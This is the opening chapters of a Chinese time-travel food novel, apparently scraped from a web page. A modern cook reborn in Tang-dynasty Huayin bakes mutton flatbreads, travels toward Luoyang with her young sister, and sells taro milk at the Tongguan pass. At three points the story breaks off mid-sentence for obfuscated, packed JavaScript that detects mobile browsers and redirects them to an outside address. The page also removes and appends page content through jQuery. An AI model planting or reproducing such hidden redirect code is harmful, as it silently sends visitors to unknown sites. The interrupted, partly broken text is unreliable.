《盛唐神都小饭馆(美食)》 1. 尹家三娘 大唐文明元年九月初六，皇太后改元光宅，大赦天下，改东都洛阳为神都，改洛汤宫为太初宫。刚登基半年的新帝自此退居别殿，不再过问政事。后世很多史学家都认为，这一系列举措标志着这位皇太后临朝摄政的时代正式开始。 不过无论上层权力如何更迭，民间市井的生活却还是一如既往。 华阴县位于长安与洛阳之间，隶属华州，东辖潼关。县城主街上，有一家小小的食店，门口悬挂着一幅半新不旧的幌子，上写“沈记”二字，下垂一个圆圆的小木饼和木铃铛，随着微风轻轻摇曳作响。 沿着主街这一排都是大小食店，面朝主街开门，背后则是一间间小院，院子朝着后巷开门。店家白日里在前面的沿街铺子做生意，晚上便回后院居住，这县城之中的商铺也都大抵如此。 卯正时分，天色刚亮，往常这个时辰，沈记食店早已敞开门做起了生意，但今日店铺却是大门紧闭，门口一个人影也没有。 反而是沈记的后院里，有一名年轻女子正在厨房忙碌。 这女子约莫十七八岁的样子，个子高挑，长相可以说得上明眸皓齿，身上穿着一套鸦青色紧袖胡服，衬得肌肤格外白皙，胸前还扎着条粗布围裙，更显得身形利落挺拔。 只见她拿起一块肥瘦相间的上好羊肉，利索地平铺在案板上，然后双手各抄起一把菜刀，飞速地上下挥舞，手起刀落极有韵律，菜刀敲击案板发出规律的“笃笃”声，伴随这清脆的声音，羊肉也被剁成细细的肉泥。 与此同时，有个身着粗布衫汉子推着车沿主街而来，他兴冲冲走到沈记门口，这才发现竟然没开张，唉声叹气了一番，只能拐进了隔壁的馎饦店。 汉子把推车停到一旁，进店找了个空位坐下来，随便点了碗馎饦，有些不死心地又扭头看了看隔壁，跟同桌的另一位客人打听道：“敢问小郎君，天都快亮了，这沈记食店怎么还没开门？” 跟他拼桌的是个年轻食客，闻言道：“这位郎君，一看你就住得很远吧？” “你如何知晓的？我家住城郊，确实很少进城。”汉子面露惊讶，他确实是因为今日要出远门，这才专程过来的。 此时正值大唐盛世，西域胡商往来不绝，中原百姓们的饮食习惯深受影响。胡饼以其鲜香酥脆的口感，就成了极受欢迎的一种食物。 这沈记正是一家卖胡饼的食店，这家店的位置好，再加上店主沈娘子素日勤快、手艺又好，因此平日里店门口早早便会排起长队。 食客若是不急，便坐下吃了再走；若是急的，也能买上一张边走边吃；若是要行远路，更是可以买上几张充作路上的干粮。 这家馎饦店与沈记紧邻，也是开了多年的老字号。能在这县城主街开起来的食店，自然都有各自的看家本领，只是馎饦虽然美味，却要趁热带汤一起吃喝下肚才行，却不适合出门路上带着，也难怪推车汉子唉声叹气。 年轻食客见自己猜中，便解释道：“看来你还不晓得，沈家娘子已经没了，沈记自然就没再开。” 那推车汉子原以为只是今日店家有事，这才没开张，哪想到竟是这个原因，不由得颇为惊讶。隔壁桌客人听二人在讨论沈记，也七嘴八舌地加入了进来。 “说起来沈娘子不过三十多岁，怎会突然说没就没了？” “听说是突然生了场重病，没几日人就不行了。” “她家的胡饼，估摸着是再也吃不到喽！” “也不知这沈娘子一走，她的两个女儿可怎么办，可怜哟……” “喏，后巷那不是有人来接她们了？” “我可听说，前些年这沈娘子的夫君病逝，她被夫家宗族赶了出来，这才自立门户，带着两个女儿来城中开了家食店，如今又哪里来的人接她们？” “莫不是那尹家人转了性儿？” 馎饦店家正在灶台边忙碌，将揉好的面团搓成长条，再揪成一指粗的片儿状，下到沸腾的水中，待到水滚得两滚，面片儿飘在上面便算熟了。灶边整齐地摆着一排陶碗，店家抄起勺子，把面片儿盛到碗中，又倒入事先熬好的高汤，再铺上菜码点上猪油，一碗热腾腾的馎饦便煮好了。 “馎饦来喽，请慢用！”店家是个中年汉子，长得淳朴憨厚，正过来上菜便听有人提到尹家，哼了一声不屑道，“那尹家当日把孤儿寡母赶出来，简直狗彘不如，怎么可能是他们？” 这话食客们深以为然，亦纷纷点头称是。他又道：“是沈氏的娘家来人，说要把两个娃娃接走照顾呢！” “按说她家大女儿平日也在店里帮忙，必是继承了她的手艺，怎么不把铺子开下去？” 店家有些恨铁不成钢地跺了跺脚，道：“唉，还不是尹三娘生性软弱，全不似她阿娘一般，哪里撑得起来这沈记！” 这馎饦店与沈记紧邻，两家也是多年的竞争对手，店家往常提起来隔壁总是有些不服气：不过一个女流之辈，又只是家开了五年的新店，生意怎会如此红火！嗐，他才不会承认那胡饼确实美味呢！ 只是话说回来，如今沈娘子人都已经死了，他那丁点儿不服气也早就忘了个一干二净…… 几个常来的食客听到他这语气，都不免笑道：“你话里话外的，倒是怎么听都像是佩服沈娘子嘛！” “胡扯，谁佩服她了！”店家被说中了有些羞赧，轻掸手中抹布，又撂下这么句话便匆匆回了灶间，只是那背影看着多少有些落荒而逃的意思。 不论街面上的人如何议论，后巷里却很是安静，沈记后院的屋顶上正升起阵阵炊烟。 厨房里忙碌的年轻女子，自然就是隔壁馎饦店里众人议论的主角之一。她闺名叫尹遥，因在族中行三，因此平日里常被叫作尹三娘。 将羊肉馅儿剁好后，尹遥伸手随意一抄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418706|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，便用刀将其盛到了粗陶海碗中，打入几个鸡蛋，加入少许粗盐和豆豉，又分次倒入一早便准备好的葱姜水去腥，再用筷子快速沿着一个方向给肉馅搅拌上劲儿，最后再朝里放些酥油封住水分，这样便可以保持羊肉馅儿的鲜嫩多汁。 只见她动作干脆敏捷，举手投足间一副自信爽利的神情，跟馎饦店家口中的软弱之人却是一点都不沾边儿。 当然，这也不是店家信口胡诌，只因如今站在案前的尹三娘，已不是他从小看着长大的那个了。 月前沈娘子离世，尹三娘带着妹妹操持了丧礼，郁结在心再加上操劳过度，一下子也病倒了。 更准确些说，她不止是病倒了，而是病逝了。 因为当这具身体昏厥多时再度醒来，里面早已换了个灵魂，变成了来自现代、与其同名同姓的另一个尹遥。 “新版”尹遥原本生活在现代，开了家口碑不错的小饭馆，每日里除了招待新老顾客，就是埋头研究新菜谱，日子过得平淡却也安稳。不料有一日，隔壁饭店竟然忽然发生瓦斯爆炸，把一整条街都给烧了…… 她平白受了这场无妄之灾后，一睁眼就发现自己穿越到了大唐，成了父母双亡的小白菜尹三娘，身边还多了个五岁的妹妹。 家是回不去了，但饭也要好好吃，日子也得好好过。尹遥一合计，得了，安心在这儿生活吧！ 熟悉了一些后，她就发现自己这便宜妹妹尹七娘虽然年幼，却是个实打实的吃货，自己每投喂些吃食，对方都十分热情地捧场，吃得香甜不说，还会把她那贫乏的词汇库排列组合成一箩筐的夸奖跟在后面，尹遥原本便喜欢钻研厨艺，再加上这小豆丁的卖力吹捧，这下更是干劲儿十足。 又过了几日，竟忽然有人登门拜访，还说是从洛阳远道而来的，尹遥一脸懵地接待了来客。 来人递上书信说清来意，她才知原来是沈娘子一片慈母心肠，临终前不放心两名女儿，便托人传信给自家母亲和兄长，求他们日后能多加照应。 沈娘子娘家在洛阳，是嫁了人才定居到这华阴的。沈家如今的当家人正是她兄长沈龄，兄妹二人幼年感情颇深，沈龄接到信后，立刻派了最信任的伙计前来。 只是谁也没有料到，还不待伙计千里迢迢赶到，个性柔弱的原身就已撑不住了。 对如今的尹遥来说，她性格一向独立，倒是并不需要依附别人，只是想着既然已经来了这盛世大唐，能见识见识东都洛阳，倒也是个不错的机会。毕竟，那可是跟西京长安齐名的国际化大都市呢！ 更何况沈龄信中言辞恳切，又多次提到沈家老太太的一腔慈爱，让她务必不要推辞云云。总之她就这么顺水推舟地答应了下来，携妹妹一同前往洛阳，投奔外婆和舅父。 而她的妹妹尹七娘，这会儿正乖乖坐在厨房门槛上，眨着圆溜溜的大眼睛，脆声道：“阿姐，我饿啦！” 2. 羊肉胡饼 “晓得啦，小馋猫。”尹遥手下不停，温声笑道。 尹遥此刻正在准备路上吃的干粮，搜索到原身记忆中有沈氏家传的胡饼做法，正适合当下的这个情形，自然就成了她的第一选择。 搅拌好馅儿后，算算时间也差不多了，她将案上一个倒扣的木盆掀开，取出里面静置醒发的面团。提前和好的面经过三揉三醒后，已经得到充分的松弛，变得又柔软又光滑，用它做出来的胡饼也会更加松软可口。 用手抓了一小撮面粉洒在面板上，尹遥将面团铺在上面，手掌快速翻飞之下，面团被搓成长条，她又利索地将长条均匀分成一个个拳头大小，再拿起擀面杖，将它们刷刷刷快速擀成脸盘大小的原型，最后再将四边向内卷起捏牢，以便后续能够围住馅儿料，如此一番操作，一个个胡饼胚子便已制作完成。 处理完饼胚，她没急着往上铺羊肉馅儿，而是先打开了灶台一侧的窑炉。 那窑炉乃是泥制，下面呈圆桶型，约莫有两尺来宽，上面则收窄接入烟囱，底部还有个口子可以填柴，是沈娘子之前特意请工匠定做，专门用来烤制胡饼的。此时这窑炉的内壁上，正贴着一圈圈刚烤好的胡饼，散发出阵阵香气。尹遥用夹子一个个夹了出来，平摊在旁边的桌案上晾凉，方便一会儿路上携带。 她专门留出来一张，仔细地用干净的树叶包好，转身弯下腰来递给了坐在门口的尹七娘，轻轻敲了下对方的小脑袋，笑道：“喏，这是你最爱吃的甜胡饼，趁热吃吧，小心烫！” “哇，谢谢阿姐！”尹七娘方才五岁，正是喜爱甜食的年纪，她跳起身来接过，迫不及待便“咔嚓”咬了一口。 “嘶……好烫！”她吐了吐舌头，边用手扇风边道：“但是好好吃！又香又酥又脆！” “阿姐你也吃！吃！”尹七娘边吃着边用手掰了一小块，上前踮起脚送到尹遥嘴边，大大的眼睛里冒出大大的疑惑，“阿姐你这饼，怎么好像比阿娘做的还好吃啊？” “是吗？”尹遥笑着侧过头，任由尹七娘将饼塞到她口中，微微咀嚼了两下，满意地点了点头。 不同于羊肉胡饼，这甜胡饼乃是用不发酵的面团所制，揉面时加入了胡桃仁儿，擀成一个个巴掌大薄薄的饼胚，上面也未放肉馅儿，而是在素胚上涂了一层糖水，又均匀地撒上胡麻，经过一番烤制后，将面团内的水分蒸发掉，这甜胡饼就烤好了。 按照沈娘子的方子，甜胡饼中加入胡桃和胡麻，烤制后会激发出扑鼻的香气，咬一口更是香甜酥脆。只不过沈娘子以往在饼皮上所涂的一直都是饴糖水，这虽然控制了成本，甜味却比较单调，多少有些可惜，尹遥这几日也在思索改进之法。 昨日她正巧碰到个路过的蜂农，看对方的白蜜品相不错，便索性掏钱买了一小罐。所谓白蜜，乃是结晶的椴树花蜜，其香味格外浓郁，营养也十分丰富，是蜂蜜中不可多得的佳品。 今日烤饼时，她便试着将饴糖水替换成了蜂蜜水，因此这胡饼除了甜味以外，还多了些蜂蜜的清香，味道又更上了一层楼。虽然蜂蜜比饴糖贵了不少，但尹遥向来信奉一分价钱一分货，在食材上很是舍得，因此仍是觉得物有所值。 不过嘛，作为一个无肉不欢的肉食爱好者，甜饼虽美味，尹遥却更期待那热乎乎、油汪汪、香喷喷的羊肉胡饼啊！ 再次回到案板边，她将拌好的羊肉馅儿盛到饼胚上，细细抹平压实，这样烤好的肉馅儿才不会掉落下来。又挨个在上面涂了层薄薄的油脂，最后捏起一小撮胡麻，抬手均匀地洒在每张肉饼上。 然后她再次打开窑炉，将这生的羊肉胡饼放了进去。铺了肉馅儿的胡饼，便不能如同方才一般贴在炉壁上，而是像烤披萨一样平放在生铁网上，一层层架起来烤制。 这一炉饼差不多要烤一刻钟，在等候的时间里，尹遥也没闲着，又开始见缝插针地收拾起灶台，这也是她多年下厨养成的好习惯：清洗面案、刀具、锅碗瓢盆；将厨房内的油盐酱醋、调制好的酱料等一一装入匣子中；已经晾凉的甜口胡饼，则是摞在一起，用布包好；又将方才洗好的刀具擦干，小心地收拾到一个皮袋子里，这可是沈娘子留下来的。 其实尹遥在现代的经历也跟尹三娘差不多：自幼丧父、母亲独自把她抚养长大，后来母亲也去世了，她便成了个孤家寡人。接收了尹三娘的记忆后，她自然能感同身受，对沈娘子也就有了种天生的亲近与尊敬，对其留下来的这套刀具也是十分珍惜。 不过与上一世不同的是，这辈子她还多了个妹妹，更不用说还有外婆和舅父——她再也不用独自一个人生活了，她有了血脉相连的家人。 想到这里，尹遥心中一叹，暗自对原身母女承诺道：沈娘子，尹三娘，我一定会好好生活，照顾好妹妹，你们放心吧！ 待到她收拾得差不多，这一炉羊肉胡饼也烤好了，尹遥停下思绪，利索地打开窑炉，烤羊肉的香味儿扑鼻而来。她将铁网连胡饼一同取出晾着，可惜这会儿没时间吃，只得依依不舍地看了一眼，又将方才收拾好的东西抱起来，带着妹妹往院门方向走去。 院门口正停着辆一米多宽的马车，虽然称不上华丽，却是十分齐整。一名年轻男子正院里院外地忙活，将十余个大小箱笼一一搬上马车，大的摞在车厢后面，用麻绳仔细捆扎好，小的细软行囊则是放入车厢之内。 这年轻男子名叫康陶，正是沈龄派来的伙计。此刻他刚刚拾掇好所有的行李，便瞧见尹遥抱着一堆东西走了过来，他见状立刻跳下马车，上前十分殷勤地将东西接了过来，笑道：“我来我来，三娘子仔细手。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418707|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 康陶约莫二十出头，身形瘦长、长相讨喜，穿着件窄袖短打布衫，看起来是个十分干练的人。若有人仔细打量的话，还会发觉他的鼻梁比普通汉人要略高些，眼窝也略深些。不过虽然长相有些异域，他说的却是一口流利的大唐官话。 尹七娘像模像样地行了个礼，脆生生道：“康郎君早！” “诶，早早早，七娘子早！”康陶笑呵呵应道。 尹遥笑着跟他道了谢，又道：“我记得昨日郎君说过，咱们今日是辰正出发来着？” 康陶一边把尹遥拿过来的东西放到车上，一边点头道：“三娘子说的没错，咱们正是半个时辰后出发。” 两人这边说着话，尹七娘那边已经好奇地跳上了马车，钻进车厢里找了个位置坐好，又掀开侧面的帘子，朝着尹遥道：“阿姐，这里面好大呢！” 尹七娘只有五岁，还是个懵懂的年纪，不明白什么是亲人离世，她只知道阿娘不在家，要好久好久才能回来，还有就是阿姐前几日突然昏过去，可把她吓坏了，好在后来阿姐又醒过来了，虽然好像哪里变了些，但仍然一如既往对她很好，她也就很快把之前的事都忘了个一干二净。 看她如此淘气，尹遥宠溺地嗔道：“你快坐好，把帘子放下来，小心呛了风一会儿肚痛！” 安置好妹妹，她又回到了厨房中，这会儿羊肉胡饼已经晾好，如同方才一般摞在一起用布仔细包好，依次将厨房的炉火熄灭、把各种锅碗瓢盆归位、检查各个房间的门窗是否关紧。她最后提着胡饼迈出这间小院，转身将院门关上，又落了锁，将钥匙仔细收好，方才回首温声道：“康郎君，时辰差不多了，咱们这就走吧。” 言毕，她也跨上马车，钻进车厢坐到了尹七娘身边。康陶笑应一声，跳上车来，挥鞭驾着马车，缓缓驶出后巷。 片刻后马车拐上了主街，经过沈记食店的正门，尹遥有些不舍地掀开车厢侧帘，看向那间小小的铺子。 昨夜下过一场小雨，正所谓一场秋雨一场凉，这天气也慢慢冷了下来，她被这秋风一吹，不由微微打了个寒战。 街上的食客们吃完早食已纷纷离开，隔壁馎饦店的店家正埋首收拾摊子，尹七娘也凑了过来向外看，见状便探出头朝那中年汉子喊了一句：“叔，我们走啦！” 听到声响，店家抬头看向街面方向，只见尹家两个女娃娃坐在马车里，正在跟自己挥手告别。他眼窝一热，也对两人挥了挥手，高声嘱咐道：“三娘把腰板挺起来，七娘要听你阿姐的话，万事记得多加小心啊！” 尹遥点头应道：“放心吧，叔，得了空记得来洛阳看我们。” “去吧，叔晓得了！到时候叔给你们做馎饦吃！”店家偷偷抹了把眼角，笑着承诺。 “一言为定！” 3. 芋泥牛乳 马车不一会儿便出了华阴县城，沿着官道向东驶去。康陶又叮嘱道：“我已在车厢内铺了厚垫子，又生了小暖炉，二位娘子若仍觉得冷，别忘了再添些炭。” 尹遥忙碌了一早上，自己倒不觉得冷，不过担心尹七娘年幼容易伤风，还是想着再添两块炭火。她低头看到地上放了个精致的黄铜暖炉，旁边还有一小匣子上好的银丝炭。这银丝炭比起普通木炭，烧着更不容易产生烟雾和异味，价格自然也是不菲，她不由得暗叹舅父沈龄出手实是大方。 用夹子将炭夹到暖炉里，尹遥又从食盒中取出方才特意留出来的两张羊肉胡饼。这会儿胡饼已经有些凉了，羊肉冷掉后吃着会有些腥膻，十分影响味道，尹遥便将它们放在暖炉上煨着加热。过了一会儿，便听到油脂升温的滋啦声，一阵阵肉香也跟着散发出来，充满了整个车厢。她把其中一张递给车厢外驾车的康陶，自己也拿起另一张吃了起来。 “多谢三娘子，”康陶接过胡饼笑着道谢，他早晨搬了半天行李确实饿了，当下便啃了一大口那羊肉胡饼。松软筋道的饼底，搭配上鲜嫩多汁的羊肉馅儿，还有胡麻的香气充斥在口腔里，他不由满足地叹了一声，十分真诚地称赞：“三娘子这胡饼做得真好吃，简直可以比得上我们东家的手艺了！” 言毕，他又有些怀念道：“只可惜东家这几年店越开越大，菜肴也越来越精细，倒不怎么做胡饼了。” “康郎君，我听阿娘说过，舅父在洛阳有家好大的食店，是不是？”尹七娘好奇道。 康陶语气十分自豪：“没错，咱们家啊在南市有一家三层楼的食店，便是在整个洛阳城也是数一数二的，多少达官贵人都时常往来，大家都赞不绝口呢！” 说到这儿，他又替沈龄解释道：“原本东家收到沈娘子的传信，便要立刻亲自动身前来接二位娘子的。无奈正值千金公主寿辰，她早就点了名让东家亲自操持宴席，东家多次请辞，公主府都不允，这才只能派了小的前来，还请两位娘子千万不要见怪。” 尹遥忙道：“快别这么说，舅父愿意收留，我们姐妹二人已很是感激。只是这千里迢迢的，倒是辛苦康郎君了。” 这几日忙着收拾采买，三人还没什么机会坐下来说话，左右如今路上无事，尹遥索性跟康陶隔着车厢闲聊了起来，想到康陶的姓氏，又想起对方的长相，她试探着问道：“话说郎君可是出身昭武九姓？” 大唐时期往来胡商众多，其中尤以昭武九姓为代表。这实际上并不是代表九个家族姓氏，而是来自西域粟特擅长经商的胡人们，在抵达大唐后，往往会依照国名为自己取个姓氏，比如康、安、毕、史、穆等，这些人也逐渐被统称为昭武九姓。 康陶好生惊讶，没想到尹三娘年纪轻轻，却一语道破自己的出身。他个性直率，见尹家两位娘子也都是爽快人，这会儿不免打开话匣子，向两人讲述了自己的身世。 原来他阿耶的确是名来自康国的胡商，当初被天朝盛世的气象所吸引，便留在了大唐，还娶了位中原女子为妻，一家人定居在洛阳城中，日子过得其乐融融。 只可惜康陶年纪不大时，夫妻俩便已亡故，好在他被阿耶的旧友沈龄抚养长大，再后来便一直跟着沈龄经营食肆。沈龄夫妻膝下并无子嗣，这些年来康陶与其说是伙计，实际上也跟个养子差不多。 康陶跟沈家感情极深，对沈家老太太颇为尊重，提起沈龄更是一腔孺慕敬仰之情。只是尹遥发现，三个人聊了半天，却没怎么听到康陶提及沈龄之妻陆氏，想着日后住在舅舅家，少不得跟舅母打交道，她便随口问了一句。 这一路上康陶向来快人快语、有问必答，听到这问题却罕见地沉默了起来。 他犹豫半晌，最后只欲言又止地憋出了半句：“陆娘子……唉，陆娘子她真真儿是个好人，只是……嗐，二位娘子到了便知晓了。” 尹遥大奇：自己这舅母到底怎么了，倒仿佛让康陶颇为头痛似的？不过她也没太担忧，毕竟不论其为人究竟怎样，无非是兵来将挡、水来土掩罢了，自己又何必提前贷款烦恼？到时候再说呗！ 想到这里，她也轻嗐了一声，无所谓地耸了耸肩，拿着手里的胡饼继续吃了起来，时不时还撕下一小块投喂给尹七娘。 “从华阴县出发，沿着官道一路往东三十里便是潼关。”外面康陶也岔开话题，聊起了路上的风土人情，“三娘子可知，这潼关乃是关中要塞，修得很是雄伟壮观。且是往返两京的必经之路，朝廷盘查得也分外严格，过关往往要花上小半日才行呢！” 随着几人闲聊，日头逐渐升到了当空。康陶一拽缰绳，将马车的速度慢慢降下来，开口招呼道：“二位娘子，潼关到啦。” 尹遥好奇地掀开车帘，却被外面景色震撼得说不出话来，竟是一时愣在了当场。 只见此处地势险峻至极，官道左侧便是不知宽阔几许的黄河，原本从北至南奔腾咆哮而至，在此地忽然险而又险地改了方向，蓦然转而向东湍流而去。右侧则是绵延险峻的高耸秦岭，真可谓是层峦叠嶂，令人望而生畏、不可逾越。 而又有一道高耸的城墙横跨官道两侧，连接汹涌澎湃的河水与蜿蜒攒立的群峰，城墙正中间则矗立着一座高出云表的城楼，直称得上是雄伟险要、巍峨壮观。 尹遥前世曾听过一阙古曲，当时并没放在心上，如今到了这千古潼关面前，那词句却不由地充斥在脑海之中。伴随着耳边不断传来的波涛拍岸声，她轻吟道： “峰峦如聚，波涛如怒，山河表里潼关路。” 来自各地东行的百姓们，此刻都集中在这潼关城西门，沿着官道排成了长长的一列，城门口的官兵正在一一盘查。康陶也跳下车，牵着马到人群后面排队。 车厢里尹七娘吵着要下车，尹遥知她坐了半日的车闷坏了，便由得她，只叮嘱康陶好好照应。 队伍行进缓慢，不知要排多久，尹遥担心妹妹在外面受凉，便在暖炉上热了些鲜牛乳，又从食盒中取出几块提前煮好的芋头，放到杵中细细捣碎，分别装到三个杯子中，倒入热牛乳和少许蜂蜜搅匀，再撒上几颗提前煮熟的赤豆。如此一来，香甜可口的红豆芋泥热牛乳便做好了，她给车厢外的二人各自分了一杯，喝下去驱驱寒，同时也能补充些体力。 这会儿虽有日头照着，但天气仍是有些冷。即便康陶年轻火力旺，但驾着马车吹了半天风，手脚多少已有些不听使唤，如今这一杯热乎乎的牛乳喝下去，从头到脚都舒坦了，一股暖流直冲心头，再加上里面扎实细腻的馅料，肠胃也觉得分外满足，不由地连连赞叹。 “阿姐，好喝，真好喝呀！又暖又香又甜！”旁边尹七娘用双手捧着杯子，一口口喝得滋溜滋溜心满意足，还不住摇头晃脑地给尹遥捧场。 他们马车后面排着的正好是一家三口，穿着还算体面，见这小女娃喝得如此开心，那孩童也忍不住舔了舔嘴角，又偷偷拽他阿娘的衣角。这夫妻俩向来宠孩子，见状低声商量了片刻，由那男子上前行了个礼，笑道：“敢问几位，这饮子可否卖给我们一杯？想着给家里娃儿驱驱寒气。” 几样原料尹遥出门前都备了些，只可惜不易储存，她想着与其喝不完变质扔掉，倒不如拿来换些铜钱，于是便爽快应了下来：“成，跟我这妹子手中一样分量的，五文钱一杯如何？我可是放了上好的白蜜呢！不过我这儿没多余的杯子，郎君可自己带了？” “有有有，娘子稍候！”男子打量了下尹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418708|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七娘手中的杯子，约莫着差不多半升，这年头牛乳并不便宜，再加上里面还有各种配料，她这个价格实在是公道不过，当下连连答应，回去找妻子拿碗。 这边尹遥如法炮制，给那一家三口又调制了杯芋泥牛乳，男子喜滋滋地拿个陶碗盛了，回去给孩子喝。 尹遥干脆朝着车厢外吆喝了起来：“香香甜甜热乎乎的芋泥牛乳，五文钱一杯！热热的香饮子，喝一口暖身暖肚，喝两口甜到心里！” 周围排队的百姓听说有暖身的热饮子卖，又看到两个娃娃喝得美滋滋，手头宽裕或者带着孩子外出的，也纷纷掏出钱了说想买。 尹遥索性将整瓮牛乳放在暖炉上温着，埋头捣芋泥、调牛乳、撒红豆、倒在食客手持的杯碗中，时不时还吆喝两声。尹七娘则站在马车边，帮她收铜板以及高声助威。姐妹俩一时间忙得热火朝天，这马车倒成了个流动热饮子摊，看得康陶在一边咧嘴直乐。 不过一会儿工夫，尹遥就卖了快二十杯芋泥牛乳，将近一百文钱顺利入账，作为主料的牛乳和芋头也见了底，辅料蜂蜜和赤豆倒还剩下些。 忽然有辆装饰华贵的马车经过，随行侍从仆妇足有十数人，在尹遥旁边浩浩荡荡停了下来。车里的人朝一名仆妇说了句什么，那仆妇便走过来命令道：“你这饮子卖给我一杯。” 见身侧排队的百姓似有不满，那仆妇又冷笑一声，直接往车厢里扔了串铜钱，又把一个琉璃杯举到了车窗前，不屑道：“你等草民也敢与我家主人争抢不成？” 见尹遥还有些犹豫，康陶忙朝她拼命使眼色，她默默地叹了口气，只好将最后一杯芋泥牛乳倒进了那琉璃杯中。 仆妇回去把杯子呈给车内之人后，一行人扬长而去直奔城门口，领头的侍从手中持着一枚符印，兵卒看了忙让开道路，之后马车便长驱直入进了潼关城。 这边尹遥则是举着空空的陶瓮，朝车窗外歉意道：“诸位，实在没办法，在下备好的料已用完了。” “唉，真想尝尝……”排队的人无奈，只能扼腕叹息，各自散去，继续在冷风中等候过关核查。 尹七娘十分好奇，怎么这些人可以直接进城，康陶无奈笑道：“两位娘子有所不知，这等做派的必是权贵之人，他们出行自有诸多便利，我等草民还是不要招惹为好。” 尹遥在车厢内听到这话，默默感叹道：万恶的封建社会啊……得，还是夹着尾巴做人吧！ 摊子散了，尹七娘也回到车上，兴高采烈地把收到的钱交给了尹遥。今日只是临时起意，连个餐具都得食客自备，她定价也不好太高，只想着赚个辛苦钱就好，这会儿心里算算去掉材料的成本，利润差不多有四十来文，而那仆妇扔进来的，却足有五十文！两相加在一起，她今儿下午赚了将近一百十文呢！ 这可是她来大唐后的第一笔进账！尹遥心中不由有点小兴奋，大方地发了五个铜板给尹七娘做零花钱，又把剩下的仔细收入囊中，最后心满意足地靠在车厢壁上，慢慢喝起了暖炉上温着的自己那杯芋泥牛乳。 康陶看姐妹俩终于清净下来，抱拳佩服道：“三娘子可真会做生意，就快比得上东家了！” 尹遥噗嗤一笑，她算发现了，康陶夸起人来都是拿沈龄做参照物的，能从这人口中听到最高的夸奖，大概就是“就快比得上东家了”。 与此同时，又有一名年轻男子带着随从，缓缓骑马而来。只见这男子样貌英俊，头戴软纱幞巾，身着墨绿色官员常服，脚踏乌靴，身下的白马毛色莹白如雪，显是一匹难得的千里驹。 不过奇怪的是，这男子虽身着官服，却并未如同其他官宦般径直上前过关，而只是随意地把马停在人群后面，心不在焉地排起了队。 4. 潼关夜市 那随从见主人忽然停下，心中好生奇怪，忍不住在他身后故意大声咳嗽了几声。 男子方才仿佛一直魂游天外，不知在想些什么，听了这咳嗽声方才回过神来，扭头瞪了一眼，那随从却不怕他，只笑嘻嘻道：“郎君，你不饿吗？” 不知想到什么，男子忽然叹了口气，无可无不可地抖了抖缰绳，领着随从越过人群向前而去。 到了关口，随从掏出怀中主人的告身，扔给了领头的校尉。校尉原本并未太在意，接过告身后只是例行公事地打开，不料仔细核勘后，他神色却忽然变得分外殷勤。 只见他点头哈腰地将官牒双手奉还，又满脸笑容做了个请的手势，还吩咐手下道：“快好生送杜寺丞去驿馆，着那驿长仔细招待，务必安排上厅！” 而尹遥几人这会儿也总算排到了，她从行囊中找出三人的过所，带着妹妹跳下车来，交给了核查的小卒。 说起来还多亏康陶提醒，尹遥这才知道，大唐百姓出门必须办理过所，否则简直寸步难行。只是那日尹遥前去申请时，里正却以孤女不得离宗另居为由，对她百般刁难，死活不肯同意，把尹遥气得够呛。 后来还是她灵机一动，狐假虎威地搬出了皇太后，称太后既有政令“父母同尊，丧期皆为三年”，那么她一届孤女，依仗母族又有何不妥？里正一听这话可不得了，生怕惹祸上身，只得将她的牒文报了上去，后来又经过好几日，县衙和州府的审批下来，这才给她发放了正式的过所。 小卒接下过所后，仔细核查了姐妹俩和康陶的姓名、籍贯、年龄、样貌特征、出行事由等，又查验了马车后的箱笼，见装的都是日常杂物，跟过所内记载的确实相符，这才签字并加盖了勘验章，又抬手放了行。 然后尹遥又听到那小卒嘀咕道：“刚那郎君不过身着绿袍，校尉怎地如此恭敬？” 不怪这小卒好奇，只因墨绿乃是当朝六七品官员的服色，而潼关地处东西两京必经之地，一年到头迎来送往，不知多少达官显贵从此经过，兵卒们早见惯了大人物，怎会把这样一个小官儿放在心上？ “没见识的东西！”那校尉听到小卒的嘀咕，没好气地拍了下他的脑袋，手指往上指了指，“你懂什么？这位杜寺丞虽只是个六品官儿，可他出身京兆杜氏，那可是正经的天子近臣！” 长安城中有首孩童都会念的俚语，曰：“城南韦杜，去天尺五。” 京兆韦杜二氏，正是出自长安城南，乃是传承了几百年的高门望族，又向来与皇室关系十分密切，有权有势地位极高，即便如今太后长居洛阳，整个大唐的政治中心东移，这二姓仍是首屈一指的世家门阀，难怪这校尉的态度如此前倨后恭。 